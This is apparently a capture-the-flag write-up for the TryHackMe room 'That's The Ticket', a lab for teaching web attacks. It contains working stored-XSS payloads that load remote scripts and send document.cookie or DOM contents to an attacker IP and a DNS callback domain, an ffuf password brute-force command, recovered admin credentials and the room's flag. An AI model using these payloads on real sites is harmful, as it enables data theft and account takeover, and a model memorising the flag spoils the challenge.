Overview

That’s The Ticket is a TryHackMe web challenge focused on exploiting a stored cross-site scripting (XSS) vulnerability in a ticket management application. The attack progresses from breaking out of a textarea, to using DNS exfiltration to recover the administrator email address, and finally brute forcing the administrator password to access a protected ticket containing the flag.

Attack Chain

  • Enumerate the target and identify SSH (22) and HTTP (80)
  • Register an account on the Ticket Manager application
  • Identify stored XSS inside a textarea element
  • Break out of the textarea and execute JavaScript
  • Confirm the session cookie is protected with HttpOnly
  • Target the page element containing the user’s email address
  • Use DNS exfiltration to retrieve the administrator email
  • Brute force the administrator login with ffuf
  • Authenticate as the administrator
  • Open Ticket 1 and retrieve the flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify exposed services.

export IP=10.80.154.235; export NAME=TICKET; echo $IP; echo $NAME; ping $IP -c 1

Run a full TCP scan:

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

Extract the discovered ports:

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

The open TCP ports are:

22,80

We then run a service and version scan against the discovered ports.

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results

The main attack surface is the web application exposed on port 80.


Web Enumeration

Ticket Manager

Browsing to port 80 reveals a Ticket Manager login portal.

ticket manager login

We navigate to the registration page and create a new account using the following credentials:

test@email.com:Pass1234!

register account

After logging in, we reach the Ticket Manager Dashboard. We submit several test tickets to understand how the application handles user-controlled input.

ticket dashboard tests


Stored XSS

Breaking Out of the textarea

We start with a basic XSS payload:

<script>alert(1)</script>

No alert executes. However, inspecting the rendered HTML shows that our input is placed inside a textarea element, with the <script> tags preserved rather than filtered.

xss inside textarea

This means we may be able to close the existing textarea element before injecting our own script.

</textarea><script>alert(1)</script>

The payload closes the original textarea and creates a new script element outside of it.

textarea breakout payload

The JavaScript executes successfully, confirming a stored XSS vulnerability.

xss alert

Loading an External Script

Next, we test whether the stored XSS can load JavaScript from our attacking machine.

</textarea><script src=http://192.168.142.96/test.js></script>

The request reaches the Python web server on the attacking machine, confirming that external JavaScript can be loaded from our own browser session.

external script request

A natural next step is to try to steal the session cookie. We create a script that sends document.cookie back to the attacking machine.

Stored XSS payload:

</textarea><script src=http://192.168.142.96/script.js></script>

The contents of script.js are:

new Image().src='http://192.168.142.96/index.php?c='+document.cookie;

No cookie value is returned to the web server.

cookie extraction failed

Looking at the browser’s storage information shows that the session cookie is configured with HttpOnly=true.

httponly cookie

The HttpOnly attribute prevents client-side JavaScript from reading the cookie through document.cookie, so we need another target.


Email Extraction

Identifying the Email Element

Inspecting the page reveals an element with the identifier id="email".

email element identifier

This gives us a DOM element we can target directly from JavaScript.

We create a second script called scriptemail.js:

var email = document.getElementById('email').innerText;
new Image().src='http://192.168.142.96/'+encodeURIComponent(email);

Then create a new ticket containing the stored XSS payload that loads it:

</textarea><script src=http://192.168.142.96/scriptemail.js></script>

The script executes, but the only value returned is the email address belonging to our own session: test@email.com.

email script result

We also try placing the JavaScript directly into the vulnerable field rather than loading it from an external script.

inline email payload

Again, only our own email address is returned.

inline email result

The important point is that the email element is correct. What we need is for the administrator to view the stored ticket so the JavaScript executes in the administrator’s browser context.


DNS Exfiltration

Preparing a DNS Callback

Because the room hints at strict firewall rules, direct HTTP callbacks from the administrator may not be possible. We move to DNS exfiltration instead.

For this, we use requestrepo.com, which provides a temporary subdomain and records incoming requests. Our temporary domain is:

ix3hl0w5.requestrepo.com

requestrepo domain

To safely transfer the email address as part of a DNS hostname, we convert it to hexadecimal before sending it. This avoids problematic characters such as @ and . in the exfiltrated value.

External DNS Exfiltration Script

We first create scriptemail2.js:

var email = document.getElementById('email').innerText;
var hex = '';
for (var i = 0; i < email.length; i++) {
    hex += email.charCodeAt(i).toString(16).padStart(2, '0');
}
new Image().src = 'http://' + hex + '.ix3hl0w5.requestrepo.com';

The stored XSS payload calls the external script:

</textarea><script src=http://192.168.142.96/scriptemail2.js></script>

The script executes successfully from our session.

dns script execution

Looking at requestrepo.com, we receive a DNS request containing a hexadecimal value.

initial dns request

Decode it with xxd:

echo "7465737440656d61696c2e636f6d" | xxd -r -p

The decoded value is still our own account:

test@email.com

initial dns decode

Inline DNS Exfiltration

The external script may not be reachable from the administrator’s browser because of the room’s firewall restrictions. To remove that dependency, we embed the complete JavaScript payload directly inside the ticket.

</textarea><script>  
var email = document.getElementById('email').innerText;
var hex = '';
for (var i = 0; i < email.length; i++) {
    hex += email.charCodeAt(i).toString(16).padStart(2, '0');
}
new Image().src = 'http://' + hex + '.ix3hl0w5.requestrepo.com'; 
</script>

inline dns payload

This time, requestrepo.com records a different DNS request.

admin dns request

The hexadecimal value is decoded with xxd:

echo "61646d696e6163636f756e74406974737570706f72742e74686d" | xxd -r -p

The result is the administrator email address:

adminaccount@itsupport.thm

admin email decoded


Administrator Access

Enumerating the Login Request

With the administrator email address recovered, we attempt to log in using an arbitrary password.

admin login attempt

The application returns an Invalid email / password combination message.

invalid login

Inspecting the login request in Burp Suite shows that invalid credentials return an HTTP 401 response.

burp 401 response

This gives us a reliable response code to filter while brute forcing the password.

Brute Forcing with ffuf

We save the request from Burp Suite and replace the password value with the FUZZ keyword so ffuf knows where to inject entries from the wordlist.

ffuf request

Run ffuf using rockyou.txt and filter out the normal 401 responses:

ffuf -request login.req -request-proto http -c -ic -w /usr/share/wordlists/rockyou.txt -fc 401

A 302 redirect appears quickly, indicating a successful login attempt.

ffuf password result

The recovered administrator credentials are:

adminaccount@itsupport.thm:123123

Using these credentials, we successfully log in to the administrator account.

administrator access


Flag

With administrator access, we open Ticket 1 and retrieve the flag.

ticket 1 flag

THM{6804f45260135ec8418da2d906328473}

Key Takeaways

That’s The Ticket demonstrates how a relatively simple stored XSS vulnerability can become much more powerful when privileged users interact with attacker-controlled content. Although HttpOnly prevents direct cookie theft, JavaScript can still access sensitive information rendered in the DOM. When direct outbound HTTP access is restricted, DNS can provide an alternative exfiltration channel. The challenge also shows the value of understanding application response behavior: once invalid logins were identified by their 401 status code, ffuf could quickly isolate the successful administrator password through the different 302 response.